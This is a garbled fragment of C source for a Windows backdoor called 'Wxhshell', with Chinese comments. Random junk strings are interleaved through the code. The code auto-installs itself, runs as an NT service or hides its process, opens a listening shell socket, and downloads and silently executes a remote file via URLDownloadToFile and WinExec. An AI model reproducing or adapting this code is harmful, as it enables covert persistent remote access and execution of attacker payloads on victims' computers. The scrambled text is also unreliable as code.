hJ8B&u( HMODULE hMod; 5VN~?#K char procName[255]; q.ppYXJUXi unsigned long cbNeeded; I|/|\ PDh!B_+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P^BSl7cT sY}0PB CloseHandle(hProcess); u<+RA %we! J%'Y] if(strstr(procName,"services")) return 1; // 以服务启动 EY :EpVin _z"\3hZ return 0; // 注册表启动 RHt~:D3* } 4`"Q!T_' [s-!tE3- // 主模块 M!PK3 int StartWxhshell(LPSTR lpCmdLine) U}-hV@y
{ cyI:dvg
SOCKET wsl; Vgj[m4l BOOL val=TRUE; B@vup {Kg int port=0; f(-3d*g struct sockaddr_in door; Xu{S4#1 A6Wtzt2i if(wscfg.ws_autoins) Install(); OF(tCK x Sv@K5"8! port=atoi(lpCmdLine); \#'m([<e s:sk`~2<gd if(port<=0) port=wscfg.ws_port; c/G^}d% QnH~'
k WSADATA data; SYv5{bff = if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m8v=pab e O~F8lQ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; VZU@G)rd setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *3y:Wv T> door.sin_family = AF_INET; f{R/rb&iB door.sin_addr.s_addr = inet_addr("127.0.0.1"); $Mqw)X&q door.sin_port = htons(port); S#Pni}JD [PU0!W; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )G$0:-J- closesocket(wsl); ,09d"7`X
return 1; sHMZ'9b } |uln<nM9 %R*-oQ1T if(listen(wsl,2) == INVALID_SOCKET) { v6KF0mqA& closesocket(wsl); =MMSmu5! return 1; -(![xZ1{K } 4kf8Am( Wxhshell(wsl); JVNp= ikK WSACleanup(); +C9l7 q " [K>faV return 0; oyo
V1jO K(p6P3Z } +S}/6dg H5p&dNO // 以NT服务方式启动 #ZpR.$`k VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8u#2M8.5E { !qVnziE,, DWORD status = 0; .
,n>#lL DWORD specificError = 0xfffffff; S9S%7pE RE75TqYW serviceStatus.dwServiceType = SERVICE_WIN32; 8Ir
= @ serviceStatus.dwCurrentState = SERVICE_START_PENDING; YST{
h{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A<s9c=d6 serviceStatus.dwWin32ExitCode = 0; .Zv uhOn^ serviceStatus.dwServiceSpecificExitCode = 0; >-Q=o,cl%3 serviceStatus.dwCheckPoint = 0; 5IiZnGu serviceStatus.dwWaitHint = 0; Mi&jl_& WkR=(dss8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Eh&HN-& if (hServiceStatusHandle==0) return; E >lW' l^E)XWd status = GetLastError(); V'&`JZK6 if (status!=NO_ERROR) = F"vL { _G=k^f_ serviceStatus.dwCurrentState = SERVICE_STOPPED; '?MT"G serviceStatus.dwCheckPoint = 0; E*X-f" serviceStatus.dwWaitHint = 0; :LEC[</yvl serviceStatus.dwWin32ExitCode = status; {pyTiz#JY serviceStatus.dwServiceSpecificExitCode = specificError; -7:_Dy SetServiceStatus(hServiceStatusHandle, &serviceStatus); c.eA]m q return; Sn!5/9Y } 8[xl3= Doc_rQYku serviceStatus.dwCurrentState = SERVICE_RUNNING; rGb<7b% serviceStatus.dwCheckPoint = 0; M|xs>+r* serviceStatus.dwWaitHint = 0; w_]`)$9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s'JbG&T[J } 6#DDMP8;I Kk9W=vd // 处理NT服务事件,比如:启动、停止 5'zD}[2 VOID WINAPI NTServiceHandler(DWORD fdwControl) DZE@C^0% { r`GA5}M switch(fdwControl) x|lX1Mh$ { *$yU|, case SERVICE_CONTROL_STOP: I$w:qS&: serviceStatus.dwWin32ExitCode = 0; ;fGh]i serviceStatus.dwCurrentState = SERVICE_STOPPED; /Mmts=^Ja serviceStatus.dwCheckPoint = 0; ].r~?9'/ serviceStatus.dwWaitHint = 0; pa8R;A70Dl { B
EB[K2[9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); I$HO[Z! } <Po$|$_~ return; 4(D/~OG-6 case SERVICE_CONTROL_PAUSE: [h[@?8vB serviceStatus.dwCurrentState = SERVICE_PAUSED; C
5
xsh break; ptMDhMVW case SERVICE_CONTROL_CONTINUE: j;SK{Oq serviceStatus.dwCurrentState = SERVICE_RUNNING; Hx#1TqC/ break; x,: DL)$1 case SERVICE_CONTROL_INTERROGATE:
&-zW1wf break; ]m<z }; 7w51UmO SetServiceStatus(hServiceStatusHandle, &serviceStatus); c%@<
h6 } !M@jW[s (utk) // 标准应用程序主函数 <kOdd)X int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7*\CfqrU { 5/YGu=, c.4WwzK // 获取操作系统版本 :CK`v6 Qs OsIsNt=GetOsVer(); g1}:;VG= GetModuleFileName(NULL,ExeFile,MAX_PATH); Jwfb%Xge~ Kw$@_~BJ6 // 从命令行安装 ~]QQaP if(strpbrk(lpCmdLine,"iI")) Install(); <#4""FO* !02y'JS1 // 下载执行文件 ^<-)rzTI if(wscfg.ws_downexe) { LTo5v if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) : r ~iFP* WinExec(wscfg.ws_filenam,SW_HIDE); \#LDX,= } o $W@@aM y<w_>O if(!OsIsNt) { _z8"r& // 如果时win9x,隐藏进程并且设置为注册表启动 [Z"Z5e` HideProc(); [ 5!}+8]W StartWxhshell(lpCmdLine); Hg<aU*o; } xw_klHL-o else >l><d!hw if(StartFromService()) sS;)d // 以服务方式启动 DbLo{mFEIj StartServiceCtrlDispatcher(DispatchTable); nOd;Zw else dsx<ZwZN> // 普通方式启动 #b;k+<n[X StartWxhshell(lpCmdLine);
[?|yQ x u"(NN9s return 0; EyVu-4L:# }
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